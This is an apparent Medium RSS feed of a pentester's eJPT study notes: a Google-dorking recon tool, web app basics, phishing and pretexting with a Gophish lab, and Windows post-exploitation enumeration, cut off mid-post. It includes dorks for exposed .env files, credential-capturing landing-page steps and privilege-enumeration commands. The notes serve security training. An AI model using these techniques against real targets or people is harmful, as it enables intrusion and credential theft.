<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dharmendrakumar on Medium]]></title>
        <description><![CDATA[Stories by Dharmendrakumar on Medium]]></description>
        <link>https://medium.com/@dharmstm?source=rss-65613310e14b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7up8SpF2DSOhk1eaSjEWbA.jpeg</url>
            <title>Stories by Dharmendrakumar on Medium</title>
            <link>https://medium.com/@dharmstm?source=rss-65613310e14b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 17:54:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dharmstm/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Google Dorkware]]></title>
            <link>https://dharmstm.medium.com/google-dorkware-pro-74361d3cd132?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/74361d3cd132</guid>
            <category><![CDATA[shodan-dork]]></category>
            <category><![CDATA[google-dorkware-pro]]></category>
            <category><![CDATA[google-dork]]></category>
            <category><![CDATA[google-dorking]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Sat, 24 Jan 2026 06:47:12 GMT</pubDate>
            <atom:updated>2026-06-16T01:14:01.089Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0AMo2Puv8bcSpQhzc71FQw.png" /></figure><pre>https://dharmstm.github.io/SurfaceHunter/</pre><h3>🛡 OWASP Top-25 Parameter Scanner</h3><ul><li>150+ high-risk URL parameters</li><li>Covers:</li><li>SSRF</li><li>LFI</li><li>SQL Injection</li><li>Open Redirect</li><li>XSS</li><li>Remote Code Execution (RCE)</li><li>One-click Google query generation</li></ul><h3>⚡ Professional Recon Workflow</h3><ul><li>Severity-based categorization (Low / Medium / High / Critical)</li><li>Automated Google search execution</li><li>Bug bounty optimized methodology</li><li>Cyber-themed professional UI</li></ul><h3>🌐 Fully Client-Side</h3><ul><li>No backend required</li><li>No user data collection</li><li>Works directly in browser</li><li>Easy deployment using GitHub Pages</li></ul><h3>🧠 How It Works</h3><ol><li>Enter your authorized target domain<br>Example: testphp.vulnweb.com</li><li>Select any Google Dork category or OWASP scanner module</li><li>The tool automatically opens optimized Google searches like: site:example.com inurl:login site:example.com inurl:id= site:example.com filetype:env</li></ol><h3>🧰Technology Used</h3><h3>Frontend</h3><ul><li>HTML5 — Semantic structure and accessibility-friendly markup</li><li>CSS3 — Cyber-themed UI design, animations, gradients, and responsive layout</li><li>JavaScript (Vanilla JS) — Dynamic rendering, event handling, and Google query automation</li></ul><h3>UI &amp; UX Enhancements</h3><ul><li>Google Fonts (Orbitron &amp; JetBrains Mono)</li><li>Font Awesome Icons</li><li>HTML5 Canvas API (Matrix background animation)</li></ul><h3>Security &amp; OSINT Concepts</h3><ul><li>Google Search Operators: site:, inurl:, intitle:, filetype:</li><li>OWASP Testing Guide parameter patterns for: SQLi, XSS, LFI, SSRF, Open Redirect, RCE</li></ul><h3>Deployment</h3><ul><li>GitHub Pages</li><li>Client-side only architecture (no backend)</li></ul><h3>Project Purpose</h3><p>The primary goal of Google Dorkware Pro is to accelerate reconnaissance during web security testing by providing:</p><ul><li>Faster discovery of hidden URLs and parameters</li><li>Structured vulnerability-based recon workflow</li><li>Reduced manual searching effort</li><li>Learning support for cybersecurity students</li></ul><p>This tool bridges the gap between OSINT techniques and real-world pentesting methodology.</p><h3>Legal Disclaimer</h3><p>This tool is intended only for educational purposes and authorized security testing.</p><p>Do NOT use this tool on websites without proper written permission. Unauthorized testing is illegal and punishable by law.</p><p>The developer is not responsible for any misuse of this tool.</p><h3>Tool Developer</h3><p>Dharmendra Kumar<br>Penetration Tester | Security Researcher</p><p>LinkedIn: <a href="https://www.linkedin.com/in/dharmendrastm/">https://www.linkedin.com/in/dharmstm/</a></p><p>Aliases: dharmendrastm | dharmendracyberhack |dharmstm</p><h3>Support &amp; Contribution</h3><p>If you find this project useful:</p><ul><li>Star the repository</li><li>Fork and improve it</li><li>Report bugs</li><li>Suggest new dorks and parameters</li></ul><p>Contributions are always welcome.</p><h3>🛣 Roadmap</h3><ul><li>Wayback URL integration</li><li>Subdomain enumeration</li><li>Parameter brute-force module</li><li>Result export feature</li><li>Recon notes and reporting system</li></ul><h4>Conclusion</h4><p>Google Dorkware Pro demonstrates how OSINT and Google Dorking can be effectively automated to improve reconnaissance workflows. It reflects real-world penetration testing practices and serves as a strong portfolio project for careers in cybersecurity.</p><p>Use it responsibly and help make the internet safer.</p><p>#GoogleDorkware #dharmendrastm #dharmstm #SurfaceHunter</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74361d3cd132" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 4.1 Web Application Penetration Testing]]></title>
            <link>https://dharmstm.medium.com/ejpt-4-1-web-application-penetration-testing-1fc636e6cabe?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fc636e6cabe</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[web-vulnerabilities]]></category>
            <category><![CDATA[web-pen-testing]]></category>
            <category><![CDATA[oswap]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 19:09:28 GMT</pubDate>
            <atom:updated>2025-10-27T19:09:28.410Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 4.1 Web Application Penetration Testing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V65Q9CoEiCUQPWhcJgG93g.png" /></figure><p>Hii all!</p><p>Welcome to our eJPT — 4.1 Introduction to the Web &amp; HTTP Protocol blog!</p><p>Topics:</p><ul><li>Introduction</li><li>Common Threats &amp; Risks</li><li>Web Application Architecture</li><li>Web Application Technologies</li><li>HTTP/S Protocol</li><li>Website Crawling &amp; Spidering</li></ul><h3>Introduction</h3><p>Web applications are software programs that run on web servers and are accessible over the internet through web browsers. They are designed to provide interactive and dynamic functionality to users allowing them to perform various tasks, access information and interact with data online.</p><p>Web applications follow the client-server model where the application’s logic and data are hosted on a web server and users access it using web browsers on their devices. The user interface (UI) is usually presented through a combination of HTML, CSS and JS to create dynamic and interactive interfaces.</p><p>The primary objective of web application security is to ensure the confidentiality, integrity and availability of data processed by web applications while mitigating the risk of unauthorised access, data breaches and service disruptions. Web applications are attractive targets for attackers due to their public accessibility and the potential for gaining access to sensitive data, such as personal information, financial data or intellectual property.</p><p>Some web application best security practices:</p><ul><li>Authentication and authorisation</li><li>Input validation</li><li>Secure communication</li><li>Secure coding practices</li><li>Regular security updates</li><li>Least privilege principle</li><li>Web application firewalls (WAF)</li><li>Session management</li></ul><p><strong>Web App Security Testing</strong></p><p>This is the process of evaluating and assessing the security aspects of web applications to identify vulnerabilities, weaknesses and potential security risks. It involves conducting various tests and assessments to ensure that web applications are resistant to security threats. The primary goal is to uncover security flaws before they are exploited by attackers.</p><p>Security testing typically involves a combination of automated scanning tools and manual testing techniques. There are some common types of security testing which include:</p><ul><li>Vulnerability scanning</li><li>Penetration testing</li><li>Code review and static analysis</li><li>Authentication and authorisation testing</li><li>Input validation and output encoding testing</li><li>Session management testing</li><li>API security testing</li></ul><p><strong>Web App Penetration Testing</strong></p><p>This is a subset of security testing that specifically involves attempting to exploit identified vulnerabilities. It is a simulated attack which is a systematic and controlled approach to assess the application’s security.</p><h3>Common Threats &amp; Risks</h3><p>A threat refers to any potential source of harm or adverse event that may exploit a vulnerability in a system or an organization’s security measure. This can be human-made or natural threats.</p><p>A risk is the potential for loss or harm resulting from a threat exploiting a vulnerability in a system or organization. It is a combination of the likelihood or probability of a threat occurrence and the impact and/or severity of the resulting adverse event. Risk is often measured in term s of the likelihood of an incident happening and the potential magnitude of its impact.</p><p>In summary, a threat can exist but they may or may not pose a significance risk depending on the vulnerabilities and the security measures in place to mitigate them.</p><p><strong>Cross-Site Scripting (XSS)<br></strong>Attackers inject malicious scripts into web pages viewed by other users, leading to unauthorised access to user data, session hijacking and browser manipulation.</p><p><strong>SQL Injection (SQLi)<br></strong>Attackers manipulate user input to inject malicious SQL code into the application’s database leading to unauthorised data access or database compromise.</p><p><strong>Cross-Site Request Forgery (CSRF)<br></strong>Attackers trick authenticated users into unknowingly performing actions on a web application by exploiting their active sessions.</p><p><strong>Security Misconfigurations<br></strong>Improperly configured servers, databases or application frameworks can expose sensitive data.</p><p><strong>Sensitive Data Exposure<br></strong>Failure to adequately protect sensitive data which can lead to breaches and identity theft.</p><p><strong>Brute-force &amp; Credential Stuffing Attacks<br></strong>Attackers use automated tools to guess username and passwords attempting to gain unauthorised access.</p><p><strong>File Upload Vulnerabilities<br></strong>Insecure file upload mechanisms can enable attackers to upload malicious files leading to remote code execution or unauthorised access to the server.</p><p><strong>DoS and DDoS Attacks<br></strong>Overwhelm web application servers, causing service disruptions and denying legitimate user’s access.</p><p><strong>Server-Side Request Forgery (SSRF)<br></strong>Attackers use SSRF to make requests from the server to internal resources or external networks potentially leading to data theft and/or unauthorised access.</p><p><strong>Using Components with Known Vulnerabilities<br></strong>Integrating third-party apps or components with known security flaws can introduce weaknesses into the web application.</p><h3>Web Application Architecture</h3><p>These are some components and their functions.</p><p><strong>User Interface (UI)<br></strong>Visual presentation of the web application seen and interacted with by users. It includes elements such as web pages, forms, menus, buttons, etc.</p><p><strong>Client-Side Technologies<br></strong>HTML, CSS and JS are used to create the user interface and handle interactions directly within the user’s web browser.</p><p><strong>Server-Side Technologies<br></strong>Programming languages and frameworks to implement the application’s business logic, process requests from clients, access databases and generate dynamic content to be sent back to the client.</p><p><strong>Databases<br></strong>Used to store and manage the web application’s data.</p><p><strong>Application Logic<br></strong>Represents the rules and procedures that govern how the web application functions (e.g. data validation and security checks).</p><p><strong>Web Servers<br></strong>Handle the initial request and serve the client-side components</p><p><strong>Application Servers<br></strong>Execute the server-side code and handle the dynamic content processing of client-side requests.</p><h3>Client-Server Model</h3><p>Typically, web applications are built on the client-server model.</p><p>The client represents the user interface and user interface and user interaction with the web application. It is the front-end of the application that users access through their web browsers. The client is responsible for displaying the web pages, handling user input and sending requests to the server for data or actions.</p><p>The server represents the back-end of the web application. It processes client requests, executes the application’s business logic, communications with databases and other services and generates responses to be sent back to the client.</p><h3>Communication &amp; Data Flow</h3><p>Web applications communication using HTTP/S. When a user interacts with the web application by clicking on clicks or submitting forms, the client sends HTTP requests to the server.</p><p>The server will then process these requests and interact with the database if necessary and generates the HTTP response. The response is then sent back to the client which renders the content and presents it to the user.</p><p>We will discuss more in depth later on.</p><h3>Web Application Technologies</h3><h4>Client-Side Technologies</h4><p>HTML is the markup language used to structure and define the content of web pages. It provides the foundation for creating the layout and structure of the UI.</p><p>CSS is used to define the presentation and styling of web pages. It allows developers to control the colours, fonts, layout and other visual aspects of the UI.</p><p>JavaScript is a script language that enables interactivity in web applications. It is used to create dynamic and responsive UI elements, handle user interactions and perform client-side validations.</p><p>Cookies and local storage are client-side mechanisms to store small amounts of data on the user’s browsers. They are often used for sessions management and remembering user preferences.</p><h3>Server-Side Technologies</h3><p>The web server is responsible for receiving and responding to HTTP requests from clients. It hosts the web application’s files, processes requests and sends responses back to clients.</p><p>The application server runs the business logic of the web application. It processes user requests, accesses databases and performs computation to generate dynamic content that the web server can serve to clients.</p><p>The database server stores and manages the web application’s data. it stores user information, content, configurations and other relevant data required for the application’s operation.</p><p>Server-side scripting languages are used to handle ser-side processing. They interact with databases, perform validations and generate dynamic content before sending it to the client.</p><h3>Data Interchange</h3><p>This refers to the process of exchanging data between different computer systems or application, allowing them to communicate and share information. It involves the conversion of data from one format to another, making it compatible with the receiving system. This ensures that data can be interpreted and utilized correctly by the recipient, regardless of the differences in their data structures, programming languages or operating systems.</p><p>API’s (Application Programming Interfaces) allow different software systems to interact and exchange data. Web applications use APIs to integrate with external services, share data and provide functionalities to other applications.</p><p>JSON (JavaScript Object Notation) is a lightweight and widely used data interchange format that is easy for both humans and machines to read and write. It is based on JavaScript syntax and is primarily used for transmitting data between a server and a web application as an alternative to XML.</p><p>XML (eXtensible Markup Language) is a versatile data interchange format that uses tags to define the structure of the data. It allows users to create their custom tags and define complex hierarchical data structures. It is commonly used for configuration files, web services and data exchange between different systems.</p><p>REST (Representational State Transfer) is a software architectural style that uses standard HTTP methods for data interchange. It is widely used for creating web APIs that allow applications to interact and exchange data over the internet.</p><p>SOAP (Simple Object Access Protocol) is a protocol for exchanging structured information in the implementation of web services. It uses XML as the data interchange format and provides a standardized method for communication between different systems.</p><h3>Security Technologies</h3><p>Authentication verifies the identify of users, while authorisation controls access to different parts of the web application based on user roles and permissions.</p><p>Encryption (SSL or TLS) is used to encrypt data transmitted between the client and a server, ensuring secure communication and data protection.</p><h3>External Technologies</h3><p>CDNs (Content Delivery Networks) are used to distribute static content to multiple servers located worldwide, improving the web application’s performance and reliability.</p><p>Third party libraries and frameworks are often used by web applications to speed up development and access advanced features.</p><h3>HTTP/S Protocol</h3><p>HTTP is a stateless application layer protocol used for the transmission of resources like web application data and runs on top of TCP. Resources are uniquely identified with a URL/URI.</p><p>HTTPS is HTTP Secure and is secure by using SSL/TLS encryption.</p><p>HTTP has two versions:</p><ol><li>HTTP 1.1 — most widely used and can re-use the same connection and can request for multiple URI’s or resources</li><li>HTTP 1.0 — have to re-establish a connection as soon as you make another request</li></ol><p>You can view the notes for the OSI Model <a href="https://hmadsec.hashnode.dev/ejpt-12-footprinting-and-scanning#heading-the-osi-model">here</a>.</p><h3>HTTP Requests</h3><p>The request line is the first line of an HTTP request and contains the following three components:</p><ol><li>HTTP method (e.g. GET, POST, PUT or DELETE)</li><li>URL (Uniform Resource Locator) — the address of the resource that the client wants to access</li><li>HTTP version — so either HTTP 1.0 or 1.1</li></ol><p>Request headers provide additional information about the request to the web server:</p><ol><li>User-Agent — information about the client making the request</li><li>Host — the hostname of the server or domain</li><li>Accept — the media types the client can handle in the response (e.g. HTML or JSON)</li><li>Authorisation — credentials for authentication if required</li><li>Cookie — information stored on the client-side and sent back to the server with each request</li></ol><p>The request body is optional and is used by some HTTP methods like POST or PUT where data is sent to the server, typically in JSON or form data format.</p><p>These are some methods and their explanations.</p><p>GET<br>Used to retrieve data from the server. It requests the resource specified in the URL and does not modify the server’s state.</p><p>POST<br>Used to submit data to be processed by the server. Typically includes data in the request body and the server may perform actions based on that data.</p><p>PUT<br>Used to updated or create a resource on the server at the specified URL. It replaces the entire resource with the new representation provided in the request body.</p><p>DELETE<br>Used to remove the resource specified by the URL from the server.</p><p>PATCH<br>Used to apply partial modifications to a resource but doesn’t fully replace a resource.</p><p>HEAD<br>Similar to GET but only retrieves the response headers and not the response body. Often used to check for things like resource existence or modification dates.</p><p>OPTIONS<br>Used to retrieve information about the communication options available for the target resource. It allows clients to determine the supported methods and headers.</p><h3>HTTP Responses</h3><p>Response headers and similar to request headers and provide additional information about the response. Some common headers include:</p><ol><li>Content-Type — the media type of the response content (e.g. text or html)</li><li>Content-Length — the size of the response body in bytes</li><li>Set-Cookie — used to set cookies on the client-side for subsequent requests</li><li>Cache-Control — directives for caching behaviour</li></ol><p>The response body is optional but is normally there as it is used to contain the actual content of the response. For example, in the case of a HTML page, the response body will contain the HTML-Markup.</p><p>These are some status codes and their explanations.</p><p>200 OK<br>Successful request and the server has returned the requested data</p><p>301 Moved Permanently<br>Requested resource has been moved permanently to a new URL and the client should use the new URL for all future requests</p><p>302 Found<br>Requested resource is temporarily located at a different URL</p><p>400 Bad Request<br>Server cannot process the request due to a client error</p><p>401 Unauthorised<br>Authentication is required and you must provide credentials</p><p>403 Forbidden<br>Server understood the request but you don’t have the permissions to access that resource</p><p>404 Not Found<br>Requested resource could not be found</p><p>500 Internal Server Error<br>Server encountered an error while processing the request (sometime due to DDoS attacks or the server being down)</p><h3>Cache-Control Directives</h3><p>These are some directives and their explanations.</p><p><strong>Public</strong><br>The response can be cached by any intermediary caches and shared across different users.</p><p><strong>Private</strong><br>The response is intended for a specific user and should not be cached by intermediate caches.</p><p><strong>No-cache<br></strong>Client has to re-validate the response with the server before using the cached version. Doesn’t prevent caching but requires re-validation</p><p><strong>No-store<br></strong>Directs the client and intermediate caches to not store any version of the response</p><p><strong>Max-age=&lt;seconds&gt;<br></strong>Specifies the maximum amount of time in seconds that the response can be cached by the client. After this period, the client has to re-validate with the server to re-cache</p><h3>Website Crawling &amp; Spidering</h3><p>Crawling is the process of navigating around the web application, following links, submitting forms and logging in (where possible) with the objective of mapping out and cataloguing the web application and the navigational paths within it.</p><p>Spidering is the process of automatically discovering new resources (URLs) on a web application. It typically begins with a list of target URLs called seeds, after which the spider will visit the URLs and identified hyperlinks in the page and adds them to the list of URLs to visit. It will then repeat the process recursively.</p><p>We can use Burp Suite to build a site map of the website but it is done manually and therefore, will require you to click on everything.</p><p>Using OWASP Zap, we can run a spider of the website. This will create a sitemap of all the links within the website including hidden directories and files.</p><p>Thankyou for Reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fc636e6cabe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 3.6 Social Engineering]]></title>
            <link>https://dharmstm.medium.com/ejpt-3-6-social-engineering-ebb6e959b04f?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebb6e959b04f</guid>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[phishing-attacks]]></category>
            <category><![CDATA[smishing-sms-phishing]]></category>
            <category><![CDATA[gophish]]></category>
            <category><![CDATA[spear-phishing]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Sat, 25 Oct 2025 21:41:33 GMT</pubDate>
            <atom:updated>2025-10-25T21:41:33.460Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 3.6 Social Engineering</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xNjDdO1WsYoeetYXEtBG_Q.png" /></figure><p>Topics:</p><ul><li>Introduction</li><li>Pretexting</li><li>Phishing with Gophish</li></ul><h3>Introduction</h3><p>In the context of penetration testing, social engineering is a technique used to manipulate individuals or employees within an organization to gain unauthorised access to sensitive information, systems of facilities.</p><p>Social engineering was defined as a way to encourage people to handle social relations similarly to how they approach machines or mechanical systems. People react differently to certain events, so you need to fine tune your attack according to their interests or character.</p><p>Social engineering attacks aim to bypass technical controls by targeting the weakest link in the security chain — the human chain. It exploits human psychology, trust and vulnerabilities to deceive targets into performing actions that compromise security.</p><p>You want to put people in situations where they will rely on their base instincts and most common forms of social interactions like:<br>- Desire to be helpful<br>- Tendency to trust people<br>- Desire for approval<br>- Fear of getting into trouble<br>- Avoid conflicts or arguments</p><p>Instead of spending countless hours trying to infiltrate systems or networks through traditional server-side attacks like brute-force attacks, attackers can leverage social engineering to yield information or facilitate the execution of malware inside the company network in a matter of minutes.</p><p>Social media has improved the ability and effectiveness of attackers to perform social engineering attacks as employees can be easily contacted by anyone in the world. People post quite a lot of private or sensitive information that can be used by attackers in aid of their attacks.</p><p>In penetration tests and red teaming exercises, phishing simulations are valuable for assessing an organization’s susceptibility to social engineering attacks and identifying areas for improvement in security awareness and controls.</p><p>These are some social engineering techniques and their explanations:</p><p>Phishing<br>Deceptive emails, messages or websites designed to trick recipients into revealing confidential information such as passwords, account credentials or financial data.</p><p>Spear Phishing<br>Targeted phishing attacks that are customised for specific individuals or groups within an organisation, often using personalised information or context to increase credibility and trust.</p><p>Vishing<br>Phishing attacks conducted over phone calls or voice messages where attackers impersonate legitimate entities to extract sensitive information or manipulate victims into taking specific actions.</p><p>Smishing<br>Phishing attacks via SMS where recipients are tricked into clicking on malicious links or providing sensitive information by impersonating trusted entities.</p><p>Pretexting<br>Create a false pretext or scenario to gain the trust of targets and extract sensitive or confidential information.</p><p>Baiting<br>Luring targets into performing a specific action by offering enticing incentives or rewards (free stuff or job opportunities).</p><p>Tailgating<br>Following authorised individuals into restricted areas without proper authentication. Attackers exploit social norms or courtesy to gain unauthorised access to secure locations.</p><h3>Phishing</h3><p>One of the most prevalent and effective social engineering attacks.</p><ol><li>Planning and reconnaissance</li><li>Message crafting</li><li>Delivery or sending</li><li>Deception and manipulation</li><li>Exploitation</li></ol><h3>Spear Phishing</h3><p>This is a targeted form of phishing. They are highly personalised and customised to exploit their interests and relationships.</p><ol><li>Target selection and research</li><li>Message tailoring</li></ol><p>These first two phases are the ones where it differs from phishing, only due to the customisation that you go through to personalise it for your target.</p><h3>Pretexting</h3><p>Unlike other forms of social engineering that rely on deception or coercion, pretexting involves the creation of a false narrative or context to establish credibility and gain the trust of the target.</p><p>There are these sections within pretexting which I will cover in depth:</p><ul><li>False pretence</li><li>Establishing trust</li><li>Manipulating emotions</li><li>Information gathering</li><li>Maintaining consistency</li></ul><p>False pretence:<br>The attacker creates a fictional story or pretext to deceive the target into believing that the interaction is legitimate and trustworthy. This pretext often involves impersonating someone with authority, expertise or a legitimate reason for requesting information or assistance.</p><p>Establishing trust:<br>The attacker uses the pretext to establish rapport and build trust with the target. This may involve leveraging social engineering techniques, such as mirroring the target’s language, tone and behaviour to create a sense of familiarity and connection.</p><p>Manipulating emotions:<br>Pretexting often exploits human emotions such as curiosity, fear, urgency or sympathy to manipulate the targets behaviour. By appealing to these emotions, the attacker can influence the target’s decision-making process and increase compliance with their requests.</p><p>Information gathering:<br>Once trusts is established, the attacker seeks to extract sensitive information or access privileges from the target. This may involve posing as a trusted entity and requesting information under the pretext or a legitimate need or emergency.</p><p>Maintaining consistency:<br>To maintain the illusion of legitimacy, the attacker ensures that the pretext remains plausible and consistent throughout the interaction. This may require careful planning, research and improvisation to adapt to the target’s responses and maintain credibility.</p><p>As an example:<br>An attacker poses as a technical support representative from a legitimate company and contacts individuals claiming that their computer is infected with malware. The attacker convinces the target to provide remote access to their computer or install malicious software under the pretext of fixing the issue.</p><p>Pretexting is highly effective in bypassing technical controls and exploiting human vulnerabilities within organizations. It relies on psychological manipulation and social engineering tactics to deceive targets and achieve malicious objectives.</p><p>You can find a very good library of pretexts to use on offensive phishing engagements <a href="https://github.com/L4bF0x/PhishingPretexts/tree/master">here</a>.</p><h3>Phishing with Gophish</h3><p>Gophish is an open-source phishing framework designed for penetration testers to simulate phishing attacks against their own organisations. It provides a user-friendly platform to create, execute and analyse phishing campaigns, allowing users to assess their organisation’s susceptibility to phishing attacks and improve their security posture.</p><p>Gophish has the following features which makes it quite useful:</p><ul><li>Campaign creation<br>Allows users to create customised phishing campaigns tailored to their specific objectives and targets. Users can create multiple campaigns with different templates, email content and target lists.</li><li>Email template editor<br>Provides a built-in email template editor interface that makes it easy to design and format professional looking emails that mimic legitimate communications.</li><li>Target management<br>Manage your target lists and segment them based on various criteria such as department, role or location. Allows for targeted phishing campaigns that closely mirror real-world attack scenarios.</li><li>Landing page creation<br>You can create landing pages that mimic legitimate login portals or websites. They can be customised to capture credentials, personal information or other sensitive data.</li><li>Tracking and reporting<br>Allows users to monitor the progress of their phishing campaigns in real-time. Users can track email open, link clicks and submitted data and generate detailed reports for analysis.</li><li>Scheduling and automation<br>You can do campaign scheduling and automation, allowing users to schedule campaign launches at specific dates and times or set-up recurring campaigns.</li></ul><p>You can view the website <a href="https://getgophish.com/">here</a>, the GitHub repository <a href="https://github.com/gophish/gophish">here</a> and the documentation <a href="https://getgophish.com/documentation/">here</a>.</p><h3>Lab Notes</h3><p>In the lab, we have a Windows system preconfigured with Gophish as well as an email, an email template and a list of targets.</p><p>As the lab is not connected to the internet, we need to remove some files that Gophish normally uses for rendering within the web application. To do this, head over to templates and then open the base.html file in Notepad. Then delete the google.font lines at the start. Do the same for the login.html file. We will also need to edit the config.json file and set use_tls to false.</p><p>You can setup an SSL certificate for Gophish. To do this, you would open the config.json file and edit the listen_url parameter to the IP address where your Gophish server is hosted. You can edit other options as well if you wish to do so.</p><p>Now, let’s run the Gophish executable and load it up in Firefox. We have already been given credentials to login.</p><p>Firstly, let’s set up a sending profile. Set up the username to red@demo.ine.local and the password to penetrationtesting. We can then send a test email to victim@demo.ine.local.</p><p>We can now create a new landing page mimicking the iNE password reset portal. We can import the site being hosted at <a href="http://localhost:8080.">http://localhost:8080.</a></p><p>We can now create our email template by pasting it in from the Desktop. Then, create a user group for all the iNE emails to send to. And finally, we can set up our campaign.</p><p><strong>Thankyou for Reading!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebb6e959b04f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 3.5 Post-Exploitation]]></title>
            <link>https://dharmstm.medium.com/ejpt-3-5-post-exploitation-0ae5db04ef11?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ae5db04ef11</guid>
            <category><![CDATA[linux-post-exploitation]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[windows-post-exploitation]]></category>
            <category><![CDATA[dumping-cracking-hashes]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Fri, 24 Oct 2025 21:01:50 GMT</pubDate>
            <atom:updated>2025-10-25T06:07:21.251Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 3.5 Post-Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H0QvWk-3u_Hqt6hZ" /></figure><p>Hii all!</p><p>Welcome to our eJPT - 3.5 Post-Exploitation blog.</p><p>Topics:</p><ul><li>Enumeration</li><li>Transferring Files</li><li>Upgrading Shells</li><li>Privilege Escalation</li><li>Persistence</li><li>Dumping &amp; Cracking Hashes</li><li>Pivoting</li><li>Clearing Your Tracks</li></ul><h3>Introduction</h3><p>Post-exploitation is the final phase of a penetration test. it consists of the tactics, techniques and procedures that attackers undertake after obtaining initial access on a target system. It involves what you do once you have gained an initial foothold on the target system. It will differ based on the target OS as well as the target infrastructure.</p><p>You will have to utilize different techniques and tools based on the target operating system and its configuration. The post-exploitation techniques you can run against the target will need to abide by the rules of engagement agreed upon with the client you are performing the pentest for. It will also depend on how stealthy you will need to be.</p><p>The typical post-exploitation methodology is the exact layout that the topics above were laid out.</p><h3>Enumeration</h3><h4>Windows Enumeration</h4><h4>System Information</h4><p>After gaining to initial access to a target system. It’s important to learn more about the system like the operating system, etc. as it gives us an idea of what we can do and what type of exploits we can run.</p><p>What are we looking for?</p><ul><li>Hostname</li><li>OS name</li><li>OS build and service pack</li><li>OS architecture</li><li>Installed updated or hotfixes</li></ul><p>Within a meterpreter we can run the two following commands:</p><ol><li>getuid - username</li><li>sysinfo - hostname, OS name, build, architecture and service pack</li></ol><p>Within a normal Windows shell, we can run the following commands:</p><ol><li>hostname</li><li>system info All the OS system information including the updates or hotfixes installed</li><li>wmic qfe get Caption,Description,HotFixID,InstalledOn Additional information about the hotfixes or updates and when they&#39;re installed</li><li>type eula.txt Additional information with regards to the OS (need to be in the /Windows/system32 folder)</li></ol><h3>Users &amp; Groups</h3><p>What are we looking for?</p><ul><li>Current user and privileges</li><li>Additional user information</li><li>Other users on the system</li><li>Groups</li><li>Members of the administrator group</li></ul><p>Within a meterpreter we can run the two following commands:</p><ol><li>getuid - username</li><li>getprivs - our current privileges</li></ol><p>Note that we can use a Metasploit module called logged_on to enumerate the logged-on users and users that were recently logged on.</p><p>Within a normal Windows shell, we can run the following commands:</p><ol><li>whoami - hostname and the current user</li><li>whoami /priv - the privileges we currently have</li><li>query user - the currently logged on users</li><li>net users - displays all the other accounts on a system</li><li>net user administrator - to learn more about the user account &quot;administrator&quot;</li><li>net local group - displays all the groups on the system</li><li>net localgroup administrators - displays the members of the group &quot;administrators&quot;</li></ol><h3>Network Information</h3><p>What are we looking for?</p><ul><li>Current IP address and network adapter</li><li>Internal networks</li><li>TCP or UDP services running and their ports</li><li>Other hosts on the network</li><li>Routing table</li><li>Windows firewall state</li></ul><p>Within a normal Windows shell, we can run the following commands:</p><ol><li>ipconfig - IP addresses and network adapters</li><li>ipconfig /all - Windows IP configuration and additional network adapter information</li><li>route print - displays the routing table</li><li>arp -a - displays the ARP table so all the devices on that same network</li><li>netstat -ano - lists all the TCP or UDP services and their ports</li><li>netsh firewall show state - shows whether the firewall is running or not</li></ol><h3>Processes &amp; Services</h3><p>What are we looking for?</p><ul><li>Running processes and services</li><li>Scheduled tasks</li></ul><p>Within a meterpreter we can run the two following commands:</p><ol><li>ps - lists out all the processes</li><li>pgrep - to search for a specific process</li><li>migrate - to migrate to a specific process ID</li></ol><p>Within a normal Windows shell, we can run the following commands:</p><ol><li>net start - lists out all the services that have been started</li><li>wmic service list brief - lists out the services briefly including whether they are running/stopped</li><li>tasklist /SVC - list of the processes and the services running under that process</li><li>schtasks /query /fo LIST /v - displays a list of scheduled tasks on the system</li></ol><h3>Automating Local Enumeration</h3><p>In addition to automating the process of enumerating information like system information, users and groups, etc. These automated enumeration scripts will also provide you with additional information regarding the target system such as; privilege escalation vulnerabilities, locally stored passwords, etc.</p><p>With regards to the local Windows enumeration scripts, we will be exploring JAWS (Just Another 